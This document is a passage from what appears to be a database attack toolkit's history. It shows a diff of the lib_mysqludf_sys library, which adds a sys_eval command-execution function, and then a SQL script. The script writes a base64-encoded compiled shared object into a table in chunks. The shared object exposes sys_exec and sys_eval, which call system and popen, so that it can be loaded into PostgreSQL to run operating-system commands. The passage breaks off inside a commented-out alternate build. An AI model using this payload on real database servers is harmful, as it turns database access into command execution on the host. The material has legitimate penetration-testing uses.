+ </p>
+ <p>
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
+ </p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
+
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
@@ -92,6 +159,9 @@
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
@@ -1,30 +1,33 @@
-/*
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+/*
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+ Copyright (C) 2007 Roland Bouman
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
-drop function lib_mysqludf_sys_info;
-drop function sys_get;
-drop function sys_set;
-drop function sys_exec;
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
+DROP FUNCTION IF EXISTS sys_get;
+DROP FUNCTION IF EXISTS sys_set;
+DROP FUNCTION IF EXISTS sys_exec;
+DROP FUNCTION IF EXISTS sys_eval;
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
@@ -1,6 +1,4 @@
-linux: \
- lib_mysqludf_sys.so
+LIBDIR=/usr/lib
-lib_mysqludf_sys.so: \
-
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
+install:
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn

Binary file not shown.

View File

@@ -0,0 +1,97 @@
-- Notes:
--
-- The SO compiled using PostgreSQL 8.3 C libraries differs from the one
-- compiled using PostgreSQL 8.2 C libraries
--
-- SO compiled using PostgreSQL 8.3 C libraries
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- SO compiled using PostgreSQL 8.2 C libraries
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- Little hack to compress the shared object:
-- * Compile with -O1 the shared object
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data text);
-- Insert the base64 encoded UDF in the table
-- SO compiled using PostgreSQL 8.3 C libraries
INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAAAAkAAHwAAAASAAsAaAAAADoHAADGAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAACjBwAACAAAAAggAAAIAAAAWwcAAAIPAAAZCQAAAg8AAHAHAAACCwAAlQ';
UPDATE udftest SET data=data||'cAAAILAACNCAAAAgsAAC4JAAACCwAAhQcAAAIKAADaCAAAAgoAAEMJAAACCgAAqwcAAAIBAADwBwAAAgUAABgIAAACBwAAPggAAAIIAABUCAAAAg4AAPEIAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLAMHoAo1w/IPoA4kEJOj8////icONRwSJdCQIiUQkBIkcJOj8////xgQzAMcEJAEAAADo/P///4mF2Pv//8dEJATUCQAAiRwk6Pz///+Jhdz7///HheD7//8AAAAA62GNvfD7//+4AAAAALn/////8q6JyPfQjXD/i53g+///AfOJXCQEi5XY+///iRQk6Pz///+Jhdj7//+JdCQIjYXw+///iUQ';
UPDATE udftest SET data=data||'kBIuF2Pv//wOF4Pv//4kEJOj8////iZ3g+///i5Xc+///iVQkCMdEJAQABAAAjYXw+///iQQk6Pz///+FwA+Fd////4uV3Pv//4kUJOj8////i4XY+///gDgAdAuLleD7///GRBD/AL7/////i73Y+///uwAAAACJ8YnY8q730YPBA4kMJOj8////iYXU+///i73Y+///ifGJ2PKu99GNDI0MAAAAi5XU+///iQqLvdj7//+J8fKu99GD6QGJ0IPABIlMJAiLldj7//+JVCQEiQQk6Pz///+LhdT7//+LVfBlMxUUAAAAdAXo/P///4HELAQAAFteX13DVYnlg+wYiV30iXX4iX38i1UIi0IQiQQk6Pz///+Jx4sAwegCjXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIwMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-- SO compiled using PostgreSQL 8.2 C libraries
-- INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
-- UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAA/ggAAH4AAAASAAsAaAAAADoHAADEAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAAClBwAACAAAAAggAAAIAAAAWwcAAAIPAAAXCQAAAg8AAHIHAAACCwAAlw';
-- UPDATE udftest SET data=data||'cAAAILAACPCAAAAgsAAC4JAAACCwAAhwcAAAIKAADYCAAAAgoAAEMJAAACCgAArQcAAAIBAADyBwAAAgUAABoIAAACBwAAQAgAAAIIAABWCAAAAg4AAO8IAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAxwQkAQAAAOj8////iYXY+///x0QkBNQJAACJHCTo/P///4mF3Pv//8eF4Pv//wAAAADrYY298Pv//7gAAAAAuf/////yronI99CNcP+LneD7//8B84lcJASLldj7//+JFCTo/P///4mF2Pv//4l0JAiNhfD7//+';
-- UPDATE udftest SET data=data||'JRCQEi4XY+///A4Xg+///iQQk6Pz///+JneD7//+Lldz7//+JVCQIx0QkBAAEAACNhfD7//+JBCTo/P///4XAD4V3////i5Xc+///iRQk6Pz///+Lhdj7//+AOAB0C4uV4Pv//8ZEEP8Avv////+Lvdj7//+7AAAAAInxidjyrvfRg8EDiQwk6Pz///+JhdT7//+Lvdj7//+J8YnY8q730YPBA4uV1Pv//4kKi73Y+///ifHyrvfRg+kBidCDwASJTCQIi5XY+///iVQkBIkEJOj8////i4XU+///i1XwZTMVFAAAAHQF6Pz///+BxCwEAABbXl9dw1WJ5YPsGIld9Il1+Il9/ItVCItCEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIgMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC